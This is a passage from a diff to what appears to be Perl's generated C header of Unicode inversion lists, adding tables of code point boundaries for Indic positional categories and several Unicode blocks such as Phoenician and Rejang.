+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA4D,
+	0xA4E,
+	0xA75,
+	0xA76,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC5,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xB3C,
+	0xB3D,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB62,
+	0xB64,
+	0xC56,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xCBC,
+	0xCBD,
+	0xCE2,
+	0xCE4,
+	0xD43,
+	0xD45,
+	0xD62,
+	0xD64,
+	0xDD4,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE38,
+	0xE3B,
+	0xEB8,
+	0xEBA,
+	0xEBC,
+	0xEBD,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF71,
+	0xF72,
+	0xF74,
+	0xF76,
+	0xF84,
+	0xF85,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102F,
+	0x1031,
+	0x1037,
+	0x1038,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1082,
+	0x1083,
+	0x108D,
+	0x108E,
+	0x1713,
+	0x1715,
+	0x1733,
+	0x1735,
+	0x1753,
+	0x1754,
+	0x1773,
+	0x1774,
+	0x17BB,
+	0x17BE,
+	0x1922,
+	0x1923,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193A,
+	0x193B,
+	0x193C,
+	0x1A18,
+	0x1A19,
+	0x1A56,
+	0x1A57,
+	0x1A5B,
+	0x1A5F,
+	0x1A69,
+	0x1A6B,
+	0x1A6C,
+	0x1A6D,
+	0x1A7F,
+	0x1A80,
+	0x1B38,
+	0x1B3B,
+	0x1B6C,
+	0x1B6D,
+	0x1BA2,
+	0x1BA4,
+	0x1BA5,
+	0x1BA6,
+	0x1BAC,
+	0x1BAE,
+	0x1C2C,
+	0x1C2D,
+	0x1C37,
+	0x1C38,
+	0x1CD5,
+	0x1CDA,
+	0x1CDC,
+	0x1CE0,
+	0x1CED,
+	0x1CEE,
+	0xA825,
+	0xA826,
+	0xA8C4,
+	0xA8C5,
+	0xA92B,
+	0xA92E,
+	0xA947,
+	0xA94A,
+	0xA94B,
+	0xA94F,
+	0xA9B8,
+	0xA9BA,
+	0xAA2D,
+	0xAA2E,
+	0xAA32,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAAB4,
+	0xAAB5,
+	0xAAEC,
+	0xAAED,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0x10A02,
+	0x10A04,
+	0x10A0C,
+	0x10A0F,
+	0x10A39,
+	0x10A3B,
+	0x1103C,
+	0x11042,
+	0x110B3,
+	0x110B5,
+	0x110B9,
+	0x110BB,
+	0x1112A,
+	0x1112C,
+	0x11131,
+	0x11133,
+	0x11173,
+	0x11174,
+	0x111B6,
+	0x111BC,
+	0x111CC,
+	0x111CD,
+	0x1122F,
+	0x11230,
+	0x112E3,
+	0x112E5,
+	0x112E9,
+	0x112EB,
+	0x11438,
+	0x1143E,
+	0x11442,
+	0x11443,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x11639,
+	0x1163F,
+	0x11640,
+	0x116B0,
+	0x116B2,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x1171E,
+	0x11724,
+	0x11726,
+	0x11728,
+	0x11729,
+	0x11A02,
+	0x11A04,
+	0x11A0A,
+	0x11A0B,
+	0x11A33,
+	0x11A35,
+	0x11A3B,
+	0x11A3F,
+	0x11A52,
+	0x11A54,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A96,
+	0x11C32,
+	0x11C37,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB3,
+	0x11D36,
+	0x11D37,
+	0x11D42,
+	0x11D43,
+	0x11D44,
+	0x11D45,
+	0x11D47,
+	0x11D48
+};
+
+static const UV PL_INPC__BOTTOMANDLEFT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA9BF,
+	0xA9C0
+};
+
+static const UV PL_INPC__BOTTOMANDRIGHT_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1B3B,
+	0x1B3C,
+	0xA9C0,
+	0xA9C1
+};
+
+static const UV PL_INPC__LEFT_invlist[] = { /* for all charsets */
+	81,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x93F,
+	0x940,
+	0x94E,
+	0x94F,
+	0x9BF,
+	0x9C0,
+	0x9C7,
+	0x9C9,
+	0xA3F,
+	0xA40,
+	0xABF,
+	0xAC0,
+	0xB47,
+	0xB48,
+	0xBC6,
+	0xBC9,
+	0xD46,
+	0xD49,
+	0xDD9,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xF3F,
+	0xF40,
+	0x1031,
+	0x1032,
+	0x1084,
+	0x1085,
+	0x17C1,
+	0x17C4,
+	0x1A19,
+	0x1A1A,
+	0x1A55,
+	0x1A56,
+	0x1A6E,
+	0x1A73,
+	0x1B3E,
+	0x1B40,
+	0x1BA6,
+	0x1BA7,
+	0x1C27,
+	0x1C29,
+	0x1C34,
+	0x1C36,
+	0xA9BA,
+	0xA9BC,
+	0xAA2F,
+	0xAA31,
+	0xAA34,
+	0xAA35,
+	0xAAEB,
+	0xAAEC,
+	0xAAEE,
+	0xAAEF,
+	0x110B1,
+	0x110B2,
+	0x1112C,
+	0x1112D,
+	0x111B4,
+	0x111B5,
+	0x112E1,
+	0x112E2,
+	0x11347,
+	0x11349,
+	0x11436,
+	0x11437,
+	0x114B1,
+	0x114B2,
+	0x114B9,
+	0x114BA,
+	0x115B0,
+	0x115B1,
+	0x115B8,
+	0x115B9,
+	0x116AE,
+	0x116AF,
+	0x11726,
+	0x11727,
+	0x11CB1,
+	0x11CB2
+};
+
+static const UV PL_INPC__LEFTANDRIGHT_invlist[] = { /* for all charsets */
+	27,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9CB,
+	0x9CD,
+	0xB4B,
+	0xB4C,
+	0xBCA,
+	0xBCD,
+	0xD4A,
+	0xD4D,
+	0xDDC,
+	0xDDD,
+	0xDDE,
+	0xDDF,
+	0x17C0,
+	0x17C1,
+	0x17C4,
+	0x17C6,
+	0x1B40,
+	0x1B42,
+	0x1134B,
+	0x1134D,
+	0x114BC,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BB
+};
+
+static const UV PL_INPC__NA_invlist[] = { /* for all charsets */
+	383,	/* Number of elements */
+	148565664, /* Version and data structure type */
 	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0xD,
-	0xE,
-	0x25,
-	0x26,
-	0x40,
+	0x900,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE30,
+	0xE3B,
+	0xE40,
+	0xE46,
+	0xE47,
+	0xE4F,
+	0xEB0,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC0,
+	0xEC5,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102B,
+	0x1039,
+	0x103A,
+	0x103C,
+	0x103D,
+	0x103F,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109E,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B6,
+	0x17D2,
+	0x17D3,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x19B0,
+	0x19C1,
+	0x19C8,
+	0x19CA,
+	0x1A17,
+	0x1A1C,
+	0x1A55,
+	0x1A5F,
+	0x1A61,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAB,
+	0x1BAC,
+	0x1BAE,
+	0x1BE6,
+	0x1BF4,
+	0x1C24,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF7,
+	0x1CF8,
+	0x1DFB,
+	0x1DFC,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA92B,
+	0xA92E,
+	0xA947,
+	0xA954,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEB,
+	0xAAF0,
+	0xAAF5,
+	0xAAF6,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x11080,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11133,
+	0x11134,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111CB,
+	0x111CD,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112EB,
+	0x11301,
+	0x11304,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11447,
+	0x114B0,
+	0x114C4,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11641,
+	0x116AB,
+	0x116B8,
+	0x1171D,
+	0x1171E,
+	0x1171F,
+	0x1172C,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A51,
+	0x11A5C,
+	0x11A8A,
+	0x11A99,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D45,
+	0x11D47,
+	0x11D48
+};
+
+static const UV PL_INPC__OVERSTRUCK_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1CD4,
+	0x1CD5,
+	0x1CE2,
+	0x1CE9,
+	0x10A01,
+	0x10A02,
+	0x10A06,
+	0x10A07
+};
+
+static const UV PL_INPC__RIGHT_invlist[] = { /* for all charsets */
+	301,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x903,
+	0x904,
+	0x93B,
+	0x93C,
+	0x93E,
+	0x93F,
+	0x940,
+	0x941,
+	0x949,
+	0x94D,
+	0x94F,
+	0x950,
+	0x982,
+	0x984,
+	0x9BE,
+	0x9BF,
+	0x9C0,
+	0x9C1,
+	0x9D7,
+	0x9D8,
+	0xA03,
+	0xA04,
+	0xA3E,
+	0xA3F,
+	0xA40,
+	0xA41,
+	0xA83,
+	0xA84,
+	0xABE,
+	0xABF,
+	0xAC0,
+	0xAC1,
+	0xACB,
+	0xACD,
+	0xB02,
+	0xB04,
+	0xB3E,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xBBE,
+	0xBC0,
+	0xBC1,
+	0xBC3,
+	0xBD7,
+	0xBD8,
+	0xC01,
+	0xC04,
+	0xC41,
+	0xC45,
+	0xC82,
+	0xC84,
+	0xCBE,
+	0xCBF,
+	0xCC1,
+	0xCC5,
+	0xCD5,
+	0xCD7,
+	0xD02,
+	0xD04,
+	0xD3E,
+	0xD43,
+	0xD57,
+	0xD58,
+	0xD82,
+	0xD84,
+	0xDCF,
+	0xDD2,
+	0xDD8,
+	0xDD9,
+	0xDDF,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE30,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE45,
+	0xE46,
+	0xEB0,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xF3E,
+	0xF3F,
+	0xF7F,
+	0xF80,
+	0x102B,
+	0x102D,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103C,
+	0x1056,
+	0x1058,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1083,
+	0x1084,
+	0x1087,
+	0x108D,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109D,
+	0x17B6,
+	0x17B7,
+	0x17C7,
+	0x17C9,
+	0x1923,
+	0x1925,
+	0x1929,
+	0x192C,
+	0x1930,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x19B0,
+	0x19B5,
+	0x19B8,
+	0x19BA,
+	0x19BB,
+	0x19C1,
+	0x19C8,
+	0x19CA,
+	0x1A1A,
+	0x1A1B,
+	0x1A57,
+	0x1A58,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A6E,
+	0x1B04,
+	0x1B05,
+	0x1B35,
+	0x1B36,
+	0x1B44,
+	0x1B45,
+	0x1B82,
+	0x1B83,
+	0x1BA1,
+	0x1BA2,
+	0x1BA7,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1BF4,
+	0x1C24,
+	0x1C27,
+	0x1C2A,
+	0x1C2C,
+	0x1CE1,
+	0x1CE2,
+	0x1CF7,
+	0x1CF8,
+	0xA823,
+	0xA825,
+	0xA827,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C4,
+	0xA952,
+	0xA954,
+	0xA983,
+	0xA984,
+	0xA9B4,
+	0xA9B6,
+	0xA9BD,
+	0xA9BF,
+	0xAA33,
+	0xAA34,
+	0xAA4D,
+	0xAA4E,
+	0xAA7B,
+	0xAA7C,
+	0xAA7D,
+	0xAA7E,
+	0xAAB1,
+	0xAAB2,
+	0xAABA,
+	0xAABB,
+	0xAABD,
+	0xAABE,
+	0xAAEF,
+	0xAAF0,
+	0xAAF5,
+	0xAAF6,
+	0xABE3,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABEB,
+	0xABEC,
+	0xABED,
+	0x11000,
+	0x11001,
+	0x11002,
+	0x11003,
+	0x11082,
+	0x11083,
+	0x110B0,
+	0x110B1,
+	0x110B2,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x11182,
+	0x11183,
+	0x111B3,
+	0x111B4,
+	0x111B5,
+	0x111B6,
+	0x111C0,
+	0x111C1,
+	0x1122C,
+	0x1122F,
+	0x11235,
+	0x11236,
+	0x112E0,
+	0x112E1,
+	0x112E2,
+	0x112E3,
+	0x11302,
+	0x11304,
+	0x1133E,
+	0x11340,
+	0x11341,
+	0x11345,
+	0x1134D,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11435,
+	0x11436,
+	0x11437,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x114B0,
+	0x114B1,
+	0x114B2,
+	0x114B3,
+	0x114BD,
+	0x114BE,
+	0x114C1,
+	0x114C2,
+	0x115AF,
+	0x115B0,
+	0x115B1,
+	0x115B2,
+	0x115BE,
+	0x115BF,
+	0x11630,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x116AC,
+	0x116AD,
+	0x116AF,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x11720,
+	0x11722,
+	0x11A39,
+	0x11A3A,
+	0x11A57,
+	0x11A59,
+	0x11A97,
+	0x11A98,
+	0x11C2F,
+	0x11C30,
+	0x11C3E,
+	0x11C3F,
+	0x11CA9,
+	0x11CAA,
+	0x11CB4,
+	0x11CB5
+};
+
+static const UV PL_INPC__TOP_invlist[] = { /* for all charsets */
+	349,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x900,
+	0x903,
+	0x93A,
+	0x93B,
+	0x945,
+	0x949,
+	0x951,
+	0x952,
+	0x953,
+	0x956,
+	0x981,
+	0x982,
+	0xA01,
+	0xA03,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4D,
+	0xA70,
+	0xA72,
+	0xA81,
+	0xA83,
+	0xAC5,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3F,
+	0xB40,
+	0xB56,
+	0xB57,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC48,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC56,
+	0xC81,
+	0xC82,
+	0xCBF,
+	0xCC0,
+	0xCC6,
+	0xCC7,
+	0xCCC,
+	0xCCE,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD4D,
+	0xD4E,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD4,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE38,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEB8,
+	0xEBB,
+	0xEBC,
+	0xEC8,
+	0xECE,
+	0xF39,
+	0xF3A,
+	0xF72,
+	0xF73,
+	0xF7A,
+	0xF7F,
+	0xF80,
+	0xF81,
+	0xF82,
+	0xF84,
+	0xF86,
+	0xF88,
+	0x102D,
+	0x102F,
+	0x1032,
+	0x1037,
+	0x103A,
+	0x103B,
+	0x1071,
+	0x1075,
+	0x1085,
+	0x1087,
+	0x109D,
+	0x109E,
+	0x1712,
+	0x1713,
+	0x1732,
+	0x1733,
+	0x1752,
+	0x1753,
+	0x1772,
+	0x1773,
+	0x17B7,
+	0x17BB,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D2,
+	0x17D3,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x1920,
+	0x1922,
+	0x1927,
+	0x1929,
+	0x193A,
+	0x193B,
+	0x1A17,
+	0x1A18,
+	0x1A1B,
+	0x1A1C,
+	0x1A58,
+	0x1A5B,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A69,
+	0x1A6B,
+	0x1A6C,
+	0x1A73,
+	0x1A7D,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B38,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B6C,
+	0x1B6D,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA4,
+	0x1BA5,
+	0x1BA8,
+	0x1BAA,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2D,
+	0x1C34,
+	0x1C36,
+	0x1C37,
+	0x1CD0,
+	0x1CD3,
+	0x1CDA,
+	0x1CDC,
+	0x1CE0,
+	0x1CE1,
+	0x1CF4,
+	0x1CF5,
+	0x1DFB,
+	0x1DFC,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA826,
+	0xA827,
+	0xA8C5,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA94A,
+	0xA94B,
+	0xA94F,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9B8,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2D,
+	0xAA2E,
+	0xAA2F,
+	0xAA31,
+	0xAA32,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB4,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAED,
+	0xAAEE,
+	0xABE5,
+	0xABE6,
+	0x10A05,
+	0x10A06,
+	0x10A0F,
+	0x10A10,
+	0x10A38,
+	0x10A39,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x1103C,
+	0x11042,
+	0x11047,
+	0x11080,
+	0x11082,
+	0x110B5,
+	0x110B7,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112A,
+	0x1112D,
+	0x1112E,
+	0x11130,
+	0x11131,
+	0x11134,
+	0x11135,
+	0x11180,
+	0x11182,
+	0x111BC,
+	0x111BF,
+	0x111CB,
+	0x111CC,
+	0x11230,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E5,
+	0x112E9,
+	0x11301,
+	0x11302,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x1143E,
+	0x11440,
+	0x11443,
+	0x11445,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x115BC,
+	0x115BE,
+	0x11639,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x11640,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B2,
+	0x116B6,
+	0x1171F,
+	0x11720,
+	0x11722,
+	0x11724,
+	0x11727,
+	0x11728,
+	0x11729,
+	0x1172C,
+	0x11A01,
+	0x11A02,
+	0x11A04,
+	0x11A0A,
+	0x11A35,
+	0x11A39,
+	0x11A51,
+	0x11A52,
+	0x11A54,
+	0x11A57,
+	0x11A96,
+	0x11A97,
+	0x11A98,
+	0x11A99,
+	0x11C30,
+	0x11C32,
+	0x11C38,
+	0x11C3E,
+	0x11CB3,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D36,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D42,
+	0x11D43,
+	0x11D44
+};
+
+static const UV PL_INPC__TOPANDBOTTOM_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC48,
+	0xC49,
+	0xF73,
+	0xF74,
+	0xF76,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0x1B3C,
+	0x1B3D,
+	0x1112E,
+	0x11130
+};
+
+static const UV PL_INPC__TOPANDBOTTOMANDRIGHT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1B3D,
+	0x1B3E
+};
+
+static const UV PL_INPC__TOPANDLEFT_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB48,
+	0xB49,
+	0xDDA,
+	0xDDB,
+	0x17BE,
+	0x17BF,
+	0x1C29,
+	0x1C2A,
+	0x114BB,
+	0x114BC,
+	0x115B9,
+	0x115BA
+};
+
+static const UV PL_INPC__TOPANDLEFTANDRIGHT_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB4C,
+	0xB4D,
+	0xDDD,
+	0xDDE,
+	0x17BF,
+	0x17C0,
+	0x115BB,
+	0x115BC
+};
+
+static const UV PL_INPC__TOPANDRIGHT_invlist[] = { /* for all charsets */
+	19,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAC9,
+	0xACA,
+	0xB57,
+	0xB58,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0x1925,
+	0x1927,
+	0x1B43,
+	0x1B44,
+	0x111BF,
+	0x111C0,
+	0x11232,
+	0x11234
+};
+
+static const UV PL_INPHAGSPA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA840,
+	0xA880
+};
+
+static const UV PL_INPHOENICIAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10900,
+	0x10920
+};
+
+static const UV PL_INPSALTERPAHLAVI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10B80,
+	0x10BB0
+};
+
+static const UV PL_INPUNCTUATION_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2000,
+	0x2070
+};
+
+static const UV PL_INREJANG_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA930,
+	0xA960
+};
+
